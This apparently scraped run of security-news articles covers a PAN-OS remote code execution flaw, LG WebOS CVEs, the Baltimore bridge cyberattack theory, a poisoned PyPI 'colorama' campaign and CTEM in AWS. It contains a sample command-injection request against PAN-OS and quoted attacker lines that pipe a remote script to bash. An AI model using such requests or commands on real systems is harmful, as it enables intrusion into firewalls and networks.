Overview of CVE-2024-3400

CVE-2024-3400 is categorized as an unauthenticated remote code execution vulnerability that could allow attackers to execute arbitrary code on the affected device without needing prior authentication. The flaw is particularly concerning because it can be exploited remotely, potentially giving attackers deep access to network defenses.

The CVE-2024-3400 vulnerability in Palo Alto Networks’ PAN-OS, targeted by Operation MidnightEclipse, has recently been leveraged for more sophisticated exploits, including the deployment of the UPSTYLE backdoor and the creation of malicious cronjobs. This detailed examination highlights the current scope of the attack, with insights derived from ongoing cybersecurity investigations.

Current Scope of the Attack

The exploitation of CVE-2024-3400 has evolved into a multi-faceted attack vector, primarily utilized by sophisticated threat actors. These actors employ a combination of direct command execution and advanced persistence mechanisms to maintain access and control over compromised systems. The UPSTYLE backdoor and associated cronjob activities represent two of the most critical components of this attack:

1. UPSTYLE Backdoor Deployment: In observed attacks, malicious actors have used crafted HTTP requests to exploit the vulnerability, subsequently running shell commands to download and execute the UPSTYLE backdoor script from remote servers. This script is often hosted on compromised web servers, with addresses like 144.172.79[.]92/update.py being involved in the distribution.
2. Cronjob Creation for Persistent Access: Furthering their control, attackers have also been observed creating cronjobs on compromised systems. These cronjobs are designed to automatically execute commands at regular intervals, fetching instructions from URLs like hxxp://172.233.228[.]93/policy | bash. This method ensures that even if the initial backdoor is detected and removed, the attackers retain a method of re-entry.

Technical Insights into UPSTYLE and Cronjob Activities

The technical execution of these components involves several sophisticated techniques:

• Command Execution: The initial exploit allows attackers to execute arbitrary shell commands remotely. This capability is used to install the UPSTYLE backdoor, modify system configurations, and set up new network routes to exfiltrate data securely.
• File Manipulation: Post-exploitation activities include modifying system files to hide the presence of malicious software. This often involves altering logs and other digital footprints that could be used to detect the intrusion.
• Automated Persistence: The cronjobs are set to run every minute, a tactic that provides the attackers with near-constant system access and the ability to push updates or new commands to the compromised system swiftly.

Active Exploitation and PoC Release

Reports from various cybersecurity firms, including Kroll and Zscaler, have highlighted active and opportunistic exploitation of this vulnerability by numerous threat actors. The ease of the exploit, compounded by the release of a PoC, has made CVE-2024-3400 a preferred target for malicious activities aimed at infiltrating and compromising enterprise networks.

Exploit details shared on platforms like GitHub reveal how attackers can utilize path traversal techniques combined with crafted HTTP requests to manipulate the firewall’s operating system, leading to unauthorized remote code execution. The ability of these attacks to bypass traditional security layers underscores the severity of the vulnerability.

Exploitation Mechanism: The exploitation of CVE-2024-3400 involves a series of sophisticated steps that allow attackers to bypass authentication and execute arbitrary code. Here are the key technical elements involved:

• Path Traversal: The initial vector for the attack utilizes a path traversal flaw in the web management interface. Attackers craft malicious HTTP requests that manipulate the file system to access areas that are normally restricted. This is typically achieved through inputs that include “../” sequences or similar methods to navigate the file system.
• Command Injection: After gaining access to restricted areas, attackers exploit command injection vulnerabilities. By inserting malicious commands into scripts or command lines that the system erroneously executes, attackers can initiate unauthorized actions on the device.
• Remote Code Execution (RCE): The culmination of the exploit allows attackers to run arbitrary code with the same privileges as the operating system of the firewall. This can lead to full system control, data manipulation, and initiation of further attacks from the compromised device.

Proof-of-Concept (PoC) Exploitation

The proof-of-concept that circulated in cybersecurity circles demonstrated a practical application of the aforementioned exploit techniques. The PoC is typically a script or set of instructions that exploit the vulnerability to prove its existence and potential for damage. In the case of CVE-2024-3400, the PoC details are as follows:

• Exploit Script: Publicly available scripts show how attackers can automatically perform the exploit using simple HTTP requests. These scripts are often shared on coding platforms like GitHub or cybersecurity forums.
• HTTP Request Manipulation: The PoC often includes examples of HTTP requests that induce the vulnerability. For example, an HTTP request might include a path traversal combined with a command injection like:vbnetCopy codePOST /ssl-vpn/hipreport.esp HTTP/1.1 Host: vulnerable-host Cookie: SESSID=../../../../../../var/cmd; command-to-execute
• Malicious Payloads: These payloads are crafted to perform specific actions on the compromised device, such as opening a reverse shell, modifying firewall rules, or exfiltrating confidential data.

Response from Palo Alto Networks

In response to the escalating threat, Palo Alto Networks has issued several security updates and detailed guidance for mitigation. The company has acknowledged the PoC and its implications, urging all users of the affected PAN-OS versions to update their systems immediately to the latest firmware.

Persistent Threats Despite Remediation

1. Persistent Rootkits: The researcher indicates that they have developed a payload that can survive not only operational resets but also factory resets. This type of malware, often referred to as a rootkit, embeds itself deeply within the system such that standard cleanup processes do not erase it. Rootkits can intercept and alter standard operating system processes to hide their presence, making detection and removal particularly challenging.
2. Post-Exploitation Persistence: There is mention of post-exploit persistence techniques that remain effective even after the device has been reset or firmware upgrades have been applied. This means that merely resetting the device to factory settings or updating its firmware isn’t sufficient to ensure that it is free from compromise. The persistence techniques developed can withstand these typical remedial actions.
3. Low Barrier to Entry: The researcher points out that creating such a persistent rootkit does not require advanced skills, suggesting that even less sophisticated attackers could deploy similar threats. This lowers the barrier to entry for executing highly effective and persistent attacks on vulnerable systems.
4. Physical Hardware Replacement Needed: Due to the rootkit’s resilience and deep integration into the system, the researcher recommends a full physical swap of the affected hardware or a thorough offline inspection and validation of the firmware and BIOS by a specialist. This is suggested as the only sure way to remove such entrenched malware, highlighting the severity and depth of the potential security breach.

Updated PSIRT Guidance

• Persistence Acknowledgement: The Palo Alto Networks Product Security Incident Response Team (PSIRT) has updated their guidance to acknowledge that malware can persist through updates and factory resets. This is an important admission that helps users understand the potential for ongoing risks even after applying what are typically considered comprehensive mitigation steps.
• Safety After Patching: While early patching is critical, the updated guidance suggests that simply having patched early does not guarantee safety against sophisticated attackers who may have enabled persistence mechanisms. Users who patched their systems immediately after the vulnerability was disclosed may still need to consider additional measures to ensure their systems are secure.

Recommendations

Given the nature of this persistent threat, organizations and individuals using affected Palo Alto Networks products should consider the following actions:

1. Physical Replacement: Where feasible, replace potentially compromised hardware to eliminate any chance of lingering threats.
2. Specialist Review: Engage with cybersecurity specialists to conduct thorough offline checks of the firmware and BIOS to ensure no elements of the rootkit or other malware remain.
3. Enhanced Monitoring: Implement enhanced monitoring and logging to detect any signs of rootkit activity or other unusual behaviors that indicate a compromised system.
4. Comprehensive Security Practices: Continue applying security best practices, including regular updates, strict access controls, and frequent security audits to identify and mitigate threats.

The exploitation of CVE-2024-3400 has significant implications for network security, particularly for enterprises that rely on Palo Alto firewalls to protect their critical infrastructure. The vulnerability exposes these networks to potential espionage, data breaches, and other malicious activities if not addressed promptly.

Security experts recommend implementing a multi-layered defense strategy that includes regular updates, monitoring for unusual network activity, and employing advanced threat detection solutions. Additionally, companies are advised to review and strengthen their incident response plans to quickly react to any breaches that might occur.

The discovery and subsequent exploitation of CVE-2024-3400 highlight ongoing challenges in cybersecurity defense mechanisms, particularly in widely used infrastructure components like firewalls. It also stresses the importance of timely patches and the dangers posed by publicly available exploit codes. As the digital landscape evolves, so too does the necessity for robust, proactive security measures to safeguard critical data and systems from emerging cyber threats.

The post Eternal Malware: CVE-2024-3400 Rootkits Persist Through Palo Alto Firewalls Updates and Resets appeared first on Information Security Newspaper | Hacking News.

These vulnerabilities can be exploited to gain unauthorized access and control over the devices. Here’s a breakdown of each identified vulnerability with hypothetical examples to illustrate their potential exploits:

1. CVE-2023-6317: Authorization Mechanism Bypass

Description: This vulnerability allows an attacker to bypass the authorization mechanism of the WebOS. By setting a specific variable, an attacker can add an extra user to the TV set without proper authorization.

• Technical Mechanism: This vulnerability allows unauthorized users to bypass the PIN verification process required to create a new user account on the TV. It exploits a flawed implementation in the account management service, where a variable (skipPrompt) is set to true if certain conditions are met, mistakenly granting account creation without the necessary user authentication.
• Exploit Path: An attacker can send a specially crafted request that manipulates this variable by mimicking a legitimate user session, leading to the creation of a privileged user account without the owner’s consent.

Example: Suppose an attacker discovers that the WebOS service, which is only intended for LAN access, is exposed over the internet. The attacker crafts a request that exploits this service to set a variable that bypasses normal user authentication procedures, thus allowing them to add a new user with administrative privileges to the television without the owner’s knowledge.

2. CVE-2023-6318: Root Access Elevation

Description: Once initial access is gained via CVE-2023-6317, this vulnerability allows the attacker to elevate their access level to root, giving them full control over the device.

• Technical Mechanism: Following initial access through CVE-2023-6317, this vulnerability leverages another flaw in the system’s command handling routines. It involves an authenticated command injection vulnerability within a service method designed to process system analytics reports (processAnalyticsReport).
• Exploit Path: By manipulating the input parameters of this method, specifically the reportFile parameter, attackers can insert arbitrary commands that the system executes with root privileges. This is possible because the input is not properly sanitized before being passed to system command functions.

Example: After adding themselves as a user on the TV, the attacker exploits a flaw in another service that escalates their privileges. By sending a specially crafted request to this service, they can execute commands as the root user, allowing them to install malicious software, access all files on the device, and manipulate the TV’s operation.

3. CVE-2023-6319: Operating System Command Injection

Description: This vulnerability involves manipulating a library responsible for displaying music lyrics, allowing an attacker to inject and execute arbitrary operating system commands.

• Technical Mechanism: This flaw allows command execution through the manipulation of a library used for displaying music lyrics. The vulnerability occurs when the lyrics file processing function does not properly sanitize the file path, allowing specially crafted files to execute arbitrary commands.
• Exploit Path: Attackers can upload a malicious MP3 file accompanied by a lyrics file crafted to contain executable commands. When the TV software attempts to display the lyrics, the embedded commands are executed, potentially giving the attacker control over the TV’s operating system.

Example: An attacker uploads a malicious MP3 file with a specially crafted lyrics file to the TV. The lyrics file contains commands wrapped in the metadata, which the TV processes without proper sanitation. When the lyrics are displayed, the embedded commands are executed, potentially giving the attacker the ability to perform actions such as turning on the TV’s microphone for eavesdropping.

4. CVE-2023-6320: Authenticated Command Injection via API

Description: This vulnerability allows an attacker to inject authenticated commands through the com.webos.service.connectionmanager/tv/setVlanStaticAddress API endpoint, which manipulates the network configuration without proper input validation.

• Technical Mechanism: This vulnerability is found in the com.webos.service.connectionmanager/tv/setVlanStaticAddress API endpoint, which allows for network configuration changes. The flaw stems from inadequate input validation, permitting command injection through parameters intended for configuring network settings.
• Exploit Path: With authenticated access (possibly gained through exploiting CVE-2023-6317), an attacker can inject commands into the ip_address, bcast_address, and netmask parameters of this API endpoint. These commands are then executed by the system, allowing the attacker to alter network configurations or perform other unauthorized actions.

Example: Having gained authenticated access through previous exploits, the attacker uses this vulnerability to change the TV’s network settings, isolating it on a virtual LAN that routes all traffic through a server controlled by the attacker. This could be used to intercept sensitive information or serve as a pivot point for further attacks within the home network.

The identified vulnerabilities in LG’s WebOS affect multiple versions of the operating system, running on various LG TV models. Below is a table summarizing the affected versions and corresponding devices:

Explanation:

• WebOS 4.9.7 and 7.3.1-43 share similar vulnerabilities, primarily the authorization bypass and the operating system command injection via the music lyrics display mechanism.
• WebOS 5.5.0 and 6.3.3-442 are affected by all four disclosed vulnerabilities, making them the most at-risk versions, potentially due to having broader functionality that interacts with more system components or more complex network settings.
• The vulnerabilities span from basic authorization mechanism bypasses to more complex command injections that can give attackers deep access to the system.

Mitigation Measures for LG (Vendor)

1. Patch Deployment:
   • Immediate Updates: LG should release patches for the affected WebOS versions as soon as possible. These updates should fix the root causes of the vulnerabilities, such as improper input validation and inadequate authorization checks.
   • Automatic Update Feature: Ensure that all WebOS devices are set to receive and install updates automatically, minimizing the window of vulnerability exposure.
2. Enhanced Security Protocols:
   • Review and Reinforce: LG should conduct a thorough review of all API endpoints and internal mechanisms for handling user inputs and authentication processes. This includes reinforcing the use of proper sanitization and validation techniques to prevent injection attacks.
   • Secure Software Development Lifecycle (SDLC): Implement an SDLC with a strong focus on security, including regular code reviews, vulnerability assessments, and penetration testing.
3. User Notification and Support:
   • Transparent Communication: Proactively inform users about the vulnerabilities and the steps being taken to address them. Provide clear instructions on how to update their devices.
   • Technical Support: Set up a dedicated helpline or online support system to assist users with the update process and to answer any security concerns.

Recommendations for Users

1. Apply Updates Promptly:
   • Check for Updates: Users should manually check for software updates on their LG TV if automatic updates are not enabled. Applying these updates is crucial in protecting their devices from exploits.
   • Restart Devices: Ensure that the device is restarted after applying the update to enforce changes.
2. Secure Network Configuration:
   • Network Segmentation: Place IoT devices on a separate network segment, reducing the risk of an attacker pivoting from a compromised TV to more sensitive devices like personal computers or storage.
   • Firewall and Router Settings: Configure firewalls and routers to block unnecessary inbound connections and limit what can be accessed from the smart TV.
3. Increase Monitoring and Awareness:
   • Monitor Network Traffic: Use network monitoring tools to detect unusual activities that could indicate exploitation attempts, such as unexpected outbound connections or high volumes of data transfer.
   • Stay Informed: Regularly follow updates from LG and security researchers to stay informed about any new threats or patches.

Long-Term Security Enhancements

1. Educational Campaigns:
   • Security Awareness: LG could offer educational resources on the importance of cybersecurity and best practices for securing IoT devices.
   • Workshops and Tutorials: Provide online tutorials or webinars that guide users on securing their home networks and understanding the security settings on their devices.
2. Community Engagement:
   • Bug Bounty Programs: Initiate or enhance bug bounty programs to encourage the ethical disclosure of new vulnerabilities by external researchers.
   • Open Source Collaboration: Consider collaborating with the open-source community to allow external developers to contribute to the security robustness of WebOS.

By implementing these mitigation measures and recommendations, LG can help secure its devices against the identified vulnerabilities, while users can protect their home environments from potential breaches. This proactive approach is essential in building trust and ensuring the security of increasingly connected smart home ecosystems.

The post How to hack a LG Smart TV via vulnerabilities in LG WebOS? appeared first on Information Security Newspaper | Hacking News.

Evaluating the Potential for a Cybersecurity Breach

In recent years, the maritime industry has increasingly embraced technology, relying on digital systems for navigation, communication, and operational functions. This digital transformation has enhanced efficiency and connectivity but has also exposed the sector to cyber threats. Cyberattacks can target systems controlling navigation, cargo handling, and even the engines of these colossal vessels, posing a significant risk to safety and commerce.

Could Cybersecurity Have Been a Factor in the Baltimore Incident?

To understand whether a cybersecurity breach could have led to the collision with the Francis Scott Key Bridge, it is essential to consider several factors:

1. Navigation Systems Vulnerability: Modern ships use sophisticated navigation systems like the Automatic Identification System (AIS) and the Electronic Chart Display and Information System (ECDIS). If these systems were compromised, it could lead to inaccurate positioning information or erroneous navigational instructions.
2. Operational Control Systems: Beyond navigation, ships rely on complex systems for operational control, including engine management and steering control. A cyberattack on these systems could impair a vessel’s ability to maneuver, potentially leading to accidents.
3. Human Error vs. Cyber Intrusion: Distinguishing between human error and the consequences of a cyberattack can be challenging. Incidents might initially appear as operational or navigational errors but later investigations could uncover tampering with digital systems.
4. Historical Precedents: The maritime industry has witnessed cyberattacks before, such as the 2017 cyberattack on the shipping giant Maersk, which led to significant operational disruptions. These precedents highlight the plausibility of cybersecurity breaches leading to physical incidents.

Arguments Against Cybersecurity Being a Factor

While the possibility of a cybersecurity breach cannot be dismissed outright, several arguments suggest that other factors could be more plausible:

Technical Safeguards and Redundancies

Maritime vessels are equipped with numerous technical safeguards and redundant systems designed to prevent total system failure in case of a cyber intrusion. These include manual overrides for navigation and control systems, allowing crew members to maintain control over the vessel even if digital systems are compromised. Such safeguards can mitigate the impact of a cyber attack on a ship’s operational capabilities.

Cybersecurity Protocols and Training

The maritime industry has been increasingly aware of the potential cyber threats and has implemented stringent cybersecurity protocols and training for crew members. These measures are aimed at preventing unauthorized access and ensuring the integrity of the ship’s systems. Crews are trained to recognize and respond to cybersecurity threats, reducing the likelihood of a successful cyber attack impacting vessel navigation or control systems.

Physical Factors and Human Error

Many maritime incidents are the result of physical factors or human error rather than cyber attacks. These can include adverse weather conditions, navigational errors, mechanical failures, and miscommunication among crew members. Such factors have historically been the most common causes of maritime accidents and cannot be overlooked in any thorough investigation.

Complexity of Executing a Targeted Cyber Attack

Executing a cyber attack that leads to a specific outcome, such as causing a ship to collide with a bridge, requires an intimate knowledge of the vessel’s systems, current position, and intended course. It also necessitates overcoming the vessel’s cybersecurity measures without detection. The complexity and specificity of such an attack make it a less likely cause of maritime incidents compared to more conventional explanations.

Lack of Evidence Indicating a Cyber Attack

In the absence of specific evidence pointing to a cyber intrusion, such as anomalies in the ship’s digital systems, unauthorized access logs, or the presence of malware, it is prudent to consider other more likely causes. Cybersecurity investigations involve detailed analysis of digital footprints and system logs, and without concrete evidence suggesting a cyber attack, attributing the incident to such a cause would be speculative.

The Path Forward: Strengthening Cybersecurity While Acknowledging Other Risks

Regardless of whether a cyberattack played a role in the Baltimore bridge incident, this event underscores the importance of robust cybersecurity practices in the maritime industry. Enhancing cyber defenses, conducting regular security assessments, and training personnel in cybersecurity awareness are crucial steps in safeguarding maritime operations.

However, it is equally important to recognize and mitigate the non-cyber risks that ships face. A comprehensive approach to safety and security, encompassing both cyber and traditional factors, is essential for protecting the maritime industry against a wide range of threats.

The collision of a container ship with the Francis Scott Key Bridge has highlighted the critical role of cybersecurity in modern maritime operations, while also reminding us of the myriad other factors that can lead to such incidents. As the investigation into this event continues, the maritime industry must take a holistic view of security, embracing both digital and physical measures to ensure the safety of its operations in an increasingly complex and interconnected world.

The post Social Media Conspiracy Theory: Was the Baltimore Bridge Collision a Result of Cyber Attack? appeared first on Information Security Newspaper | Hacking News.

Key Insights

• Silent Software Supply Chain Assault: The attackers orchestrated a silent assault on the software supply chain, employing multiple tactics to steal sensitive information from unsuspecting victims. This included the creation of malicious open-source tools with enticing descriptions to lure victims, most of whom were likely redirected from search engines.
• The Use of a Fake Python Mirror: A cornerstone of this campaign was the distribution of a malicious dependency through a counterfeit Python infrastructure, which was linked to popular projects on GitHub and legitimate Python packages. The attackers not only hijacked GitHub accounts to spread malicious Python packages but also engaged in social engineering to amplify their reach.
• A Multi-Stage, Evasive Payload: The attack featured a complex, multi-stage payload designed to harvest valuable data such as passwords and credentials from infected systems before exfiltrating this data to the attackers’ infrastructure. Notably, a fake Python packages mirror was deployed, distributing a poisoned version of the widely-used “colorama” package.

One notable victim shared their experience of encountering suspicious activity related to the “colorama” package, which ultimately led to the realization that they had been hacked. This account underscores the stealth and deceit employed in the campaign, with the attackers leveraging fake Python mirrors and typosquatting to deceive users and spread malware through malicious GitHub repositories.

The Technical Backbone of the Attack

The fake Python mirror, appearing under the domain “files[.]pypihosted[.]org”, mimicked the official Python package mirror, playing a crucial role in the attack’s success. By hosting a tampered version of “colorama” laden with malicious code and utilizing stolen GitHub identities to commit changes to reputable repositories, the attackers showcased a sophisticated understanding of the software supply chain’s vulnerabilities.

Attack Tecniques Used

The attack on the software supply chain leveraging fake Python infrastructure utilized a complex array of techniques to compromise over 170,000 users. Here’s a breakdown of the key attack techniques used:

1. Account Takeover via Stolen Browser Cookies: The attackers gained unauthorized access to GitHub accounts by stealing session cookies. This allowed them to bypass authentication measures and perform malicious activities without the need to know the accounts’ passwords.
2. Malicious Code Contributions with Verified Commits: Utilizing the hijacked accounts, the attackers contributed malicious code to reputable projects. These contributions often appeared as legitimate due to the use of verified commits, making them harder to detect.
3. Setting Up a Custom Python Mirror: A central element of the campaign was the establishment of a counterfeit Python package mirror. This mirror hosted poisoned versions of popular Python packages, including a tampered version of “colorama” that contained malicious code.
4. Publishing Malicious Packages to the PyPi Registry: The attackers published harmful packages to the Python Package Index (PyPi), exploiting the trust within the Python community in this repository. These packages often had clickbait descriptions to attract victims, many of whom were redirected from search engines.
5. Typosquatting and Fake Python Mirror for Package Distribution: The domain “files[.]pypihosted[.]org” was registered as part of the attack, cleverly typosquatting the official Python mirror’s domain to deceive users into downloading malicious packages.
6. Social Engineering to Increase Credibility and Visibility: By taking over reputable GitHub accounts, the attackers were able to star multiple malicious repositories, increasing their visibility and the likelihood of other users trusting and downloading from these sources.
7. Multi-Stage, Evasive Malicious Payload: The attack deployed a multi-stage payload that initially appeared benign but was designed to harvest and exfiltrate valuable data, such as passwords and credentials, from infected systems. This payload was sophisticated, employing obfuscation and evasion techniques to avoid detection.

Each of these techniques demonstrates the attackers’ deep understanding of both social engineering and technical vulnerabilities within the software supply chain. The combination of these methods allowed for a highly effective and damaging attack.

Hosting a Poisoned ‘colorama’

The attackers hosted a poisoned version of “colorama”, a widely used package in the Python community with over 150 million monthly downloads. Here’s how they executed this part of their sophisticated attack:

1. Copying and Modifying “Colorama”: The threat actors started by copying the legitimate “colorama” package and inserting malicious code into it. This code was designed to be part of the package’s functionality, making it difficult to detect without thorough inspection.
2. Concealing the Malicious Code: The harmful payload was concealed within the modified “colorama” package using space-padding. This method pushed the malicious code off-screen in text editors, requiring users to scroll horizontally to discover it. This technique significantly decreased the likelihood of the malicious content being spotted during casual review.
3. Using a Typosquatted Domain for Hosting: The modified, malicious version of “colorama” was hosted on a fake Python mirror. This mirror was accessible via a domain that closely resembled the official Python package hosting service, leveraging typosquatting to deceive users. The domain “files[.]pypihosted[.]org” was used for this purpose, mimicking the legitimate “files.pythonhosted.org”.
4. Distributing the Poisoned Package: To spread the poisoned “colorama”, the attackers manipulated project dependencies. They committed changes to reputable projects on GitHub, modifying the requirements.txt files to include the malicious package version hosted on their fake mirror. This ensured that when the project was installed or updated, the poisoned “colorama” would be downloaded and executed.
5. Evading Detection: The strategic use of a typosquatted domain, along with the method of concealing malicious code within a legitimate package, made this attack particularly evasive. The attackers’ efforts to blend the malicious package into normal dependencies made it challenging for users and automated tools to identify the threat.

By hosting this poisoned “colorama” package on their fake Python infrastructure and linking it to popular projects, the attackers were able to execute a silent supply chain attack, compromising the systems of unsuspecting developers and users. This attack underscores the importance of verifying the sources of software dependencies and the need for vigilance in the face of increasingly sophisticated cyber threats.

The deployment of the malicious package in the attack using the fake Python infrastructure involved a sophisticated multi-stage process. Here’s a breakdown of the stages through which the malicious package, particularly the poisoned “colorama”, was deployed and executed on the victims’ systems:

Stage 1: Initial Download and Execution

• Malicious Repository or Package Download: The unsuspecting user clones a repository or downloads a package that contains a malicious dependency. This dependency points to the poisoned “colorama” package hosted on the attackers’ fake Python mirror (typosquatted domain “files[.]pypihosted.org”).
• Execution of Initial Malicious Code: Upon installation or update, the malicious “colorama” package executes its payload, which includes additional malicious code. This stage sets the foundation for further exploitation.

Stage 2: Malicious Code Activation

• Identical Code with Malicious Snippet: The “colorama” package contains code identical to the legitimate version, with the exception of a short malicious snippet. This snippet was initially located within a seemingly innocuous file but was strategically placed to ensure execution.
• Obfuscation and Execution of Further Malicious Code: The attacker used significant whitespace to push the malicious code off-screen in text editors, requiring horizontal scrolling for discovery. This code, once executed, fetches another piece of Python code from a remote server, which installs necessary libraries and decrypts hard-coded data.

Stage 3: Payload Delivery

• Fetching Additional Obfuscated Python Code: The malware progresses to fetch more obfuscated Python code from another external link. This code is then executed using Python’s “exec” function, initiating the next phase of the attack.

Stage 4: System Compromise and Data Harvesting

• Advanced Obfuscation Techniques: Techniques such as the use of non-English character strings, compression, and misleading variable names complicate the analysis and understanding of the code.
• Deployment of Final Malicious Payload: The code checks the compromised host’s operating system, selects a random folder and file name for the final malicious Python code, and retrieves it from a remote server.
• Persistence Mechanism: The malware modifies the Windows registry to create a new run key, ensuring that the malicious code is executed every time the system restarts. This allows the malware to maintain its presence on the compromised system.

Stage 5: Data Exfiltration

• Broad Data-Stealing Capabilities: The final payload reveals the malware’s ability to target a wide range of applications and steal sensitive information. This includes data from web browsers, Discord, cryptocurrency wallets, Telegram sessions, and more.
• Keylogging and File Stealing: A keylogging component captures the victim’s keystrokes, and a file stealer searches for files with specific keywords, targeting directories like Desktop and Downloads.
• Exfiltration to Attacker’s Server: The stolen data, along with files compressed into ZIP files, are uploaded to the attacker’s server. Various techniques, including anonymous file-sharing services and direct HTTP requests, are used for data exfiltration.

These stages illustrate the meticulous planning and execution of the attack, showcasing the attackers’ technical sophistication and understanding of both software dependencies and human behavior. The multi-stage approach not only facilitated the deployment of the malicious payload but also helped in evading detection, making the attack particularly damaging.

The attack involving the fake Python infrastructure and the poisoned “colorama” package also saw the publication of several other malicious packages to the Python Package Index (PyPI). These packages were part of the attackers’ strategy to distribute malware through the Python package ecosystem. Below is a list of some of the packages involved in this campaign, along with their version numbers and the usernames of the publishers:

• jzyrljroxlca Version 0.3.2, published by user pypi/xotifol394 on 21-Jul-23
• wkqubsxekbxn Version 0.3.2, published by user pypi/xotifol394 on 21-Jul-23
• eoerbisjxqyv Version 0.3.2, published by user pypi/xotifol394 on 21-Jul-23
• lyfamdorksgb Version 0.3.2, published by user pypi/xotifol394 on 21-Jul-23
• hnuhfyzumkmo Version 0.3.2, published by user pypi/xotifol394 on 21-Jul-23
• hbcxuypphrnk Version 0.3.2, published by user pypi/xotifol394 on 20-Jul-23
• dcrywkqddo Version 0.4.3, published by user pypi/xotifol394 on 20-Jul-23
• mjpoytwngddh Version 0.3.2, published by user pypi/poyon95014 on 21-Jul-23
• eeajhjmclakf Version 0.3.2, published by user pypi/tiles77583 on 21-Jul-23
• yocolor Version 0.4.6, published by user pypi/felpes on 05-Mar-24
• coloriv Version 3.2, published by user pypi/felpes on 22-Nov-22
• colors-it Version 2.1.3, published by user pypi/felpes on 17-Nov-22
• pylo-color Version 1.0.3, published by user pypi/felpes on 15-Nov-22
• type-color Version 0.4, published by user felipefelpes on 01-Nov-22

These packages, including variations of the “colorama” package and others with obscure or clickbait names, were part of a broader strategy to distribute malware. The attackers employed these packages as vectors for delivering malicious code to unsuspecting victims’ systems, exploiting the trust placed in the PyPI ecosystem and the routine use of these packages in Python projects.

This list provides a snapshot of the malicious packages published by the attackers, illustrating the scale and diversity of their efforts to infiltrate the software supply chain. Users and developers are urged to exercise caution and perform thorough vetting before incorporating third-party packages into their projects.

This campaign exemplifies the advanced strategies malicious actors adopt to infiltrate and compromise trusted platforms like PyPI and GitHub. It serves as a stark reminder of the necessity for diligence when installing packages and repositories, even from seemingly reliable sources. Vigilance, thorough vetting of dependencies, and the maintenance of robust security measures are paramount in mitigating the risks posed by such sophisticated attacks.

The post Major Python Infrastructure Breach – Over 170K Users Compromised. How Safe Is Your Code? appeared first on Information Security Newspaper | Hacking News.

1. Identification: CTEM starts with the continuous identification of all digital assets within an organization’s environment, including on-premises systems, cloud services, and remote endpoints. It involves understanding what assets exist, where they are located, and their importance to the organization.
2. Assessment: Regular and ongoing assessments of these assets are conducted to identify vulnerabilities, misconfigurations, and other security weaknesses. This process often utilizes automated scanning tools and threat intelligence to detect issues that could be exploited by attackers.
3. Prioritization: Not all vulnerabilities pose the same level of risk. CTEM involves prioritizing these weaknesses based on their severity, the value of the affected assets, and the potential impact of an exploit. This helps organizations focus their efforts on the most critical issues first.
4. Mitigation and Remediation: Once vulnerabilities are identified and prioritized, CTEM focuses on mitigating or remedying these issues. This can involve applying patches, changing configurations, or implementing other security measures to reduce the risk of exploitation.
5. Continuous Improvement: CTEM is a cyclical process that feeds back into itself. The effectiveness of mitigation efforts is assessed, and the approach is refined over time to improve security posture continuously.

The goal of CTEM is to reduce the “attack surface” of an organization—minimizing the number of vulnerabilities that could be exploited by attackers and thereby reducing the organization’s overall risk. By continuously managing and reducing exposure to threats, organizations can better protect against breaches and cyber attacks.

CTEM vs. Alternative Approaches

Continuous Threat Exposure Management (CTEM) represents a proactive and ongoing approach to managing cybersecurity risks, distinguishing itself from traditional, more reactive security practices. Understanding the differences between CTEM and alternative approaches can help organizations choose the best strategy for their specific needs and threat landscapes. Let’s compare CTEM with some of these alternative approaches:

1. CTEM vs. Periodic Security Assessments

• Periodic Security Assessments typically involve scheduled audits or evaluations of an organization’s security posture at fixed intervals (e.g., quarterly or annually). This approach may fail to catch new vulnerabilities or threats that emerge between assessments, leaving organizations exposed for potentially long periods.
• CTEM, on the other hand, emphasizes continuous monitoring and assessment of threats and vulnerabilities. It ensures that emerging threats can be identified and addressed in near real-time, greatly reducing the window of exposure.

2. CTEM vs. Penetration Testing

• Penetration Testing is a targeted approach where security professionals simulate cyber-attacks on a system to identify vulnerabilities. While valuable, penetration tests are typically conducted annually or semi-annually and might not uncover vulnerabilities introduced between tests.
• CTEM complements penetration testing by continuously scanning for and identifying vulnerabilities, ensuring that new threats are addressed promptly and not just during the next scheduled test.

3. CTEM vs. Incident Response Planning

• Incident Response Planning focuses on preparing for, detecting, responding to, and recovering from cybersecurity incidents. It’s reactive by nature, kicking into gear after an incident has occurred.
• CTEM works upstream of incident response by aiming to prevent incidents before they happen through continuous threat and vulnerability management. While incident response is a critical component of a comprehensive cybersecurity strategy, CTEM can reduce the likelihood and impact of incidents occurring in the first place.

4. CTEM vs. Traditional Vulnerability Management

• Traditional Vulnerability Management involves identifying, classifying, remediating, and mitigating vulnerabilities within software and hardware. While it can be an ongoing process, it often lacks the continuous, real-time monitoring and prioritization framework of CTEM.
• CTEM enhances traditional vulnerability management by integrating it into a continuous cycle that includes real-time detection, prioritization based on current threat intelligence, and immediate action to mitigate risks.

Key Advantages of CTEM

• Real-Time Threat Intelligence: CTEM integrates the latest threat intelligence to ensure that the organization’s security measures are always ahead of potential threats.
• Automation and Integration: By leveraging automation and integrating various security tools, CTEM can streamline the process of threat and vulnerability management, reducing the time from detection to remediation.
• Risk-Based Prioritization: CTEM prioritizes vulnerabilities based on their potential impact on the organization, ensuring that resources are allocated effectively to address the most critical issues first.

CTEM offers a comprehensive and continuous approach to cybersecurity, focusing on reducing exposure to threats in a dynamic and ever-evolving threat landscape. While alternative approaches each have their place within an organization’s overall security strategy, integrating them with CTEM principles can provide a more resilient and responsive defense mechanism against cyber threats.

CTEM in AWS

Implementing Continuous Threat Exposure Management (CTEM) within an AWS Cloud environment involves leveraging AWS services and tools, alongside third-party solutions and best practices, to continuously identify, assess, prioritize, and remediate vulnerabilities and threats. Here’s a detailed example of how CTEM can be applied in AWS:

1. Identification of Assets

• AWS Config: Use AWS Config to continuously monitor and record AWS resource configurations and changes, helping to identify which assets exist in your environment, their configurations, and their interdependencies.
• AWS Resource Groups: Organize resources by applications, projects, or environments to simplify management and monitoring.

2. Assessment

• Amazon Inspector: Automatically assess applications for vulnerabilities or deviations from best practices, especially important for EC2 instances and container-based applications.
• AWS Security Hub: Aggregates security alerts and findings from various AWS services (like Amazon Inspector, Amazon GuardDuty, and IAM Access Analyzer) and supported third-party solutions to give a comprehensive view of your security and compliance status.

3. Prioritization

• AWS Security Hub: Provides a consolidated view of security alerts and findings rated by severity, allowing you to prioritize issues based on their potential impact on your AWS environment.
• Custom Lambda Functions: Create AWS Lambda functions to automate the analysis and prioritization process, using criteria specific to your organization’s risk tolerance and security posture.

4. Mitigation and Remediation

• AWS Systems Manager Patch Manager: Automate the process of patching managed instances with both security and non-security related updates.
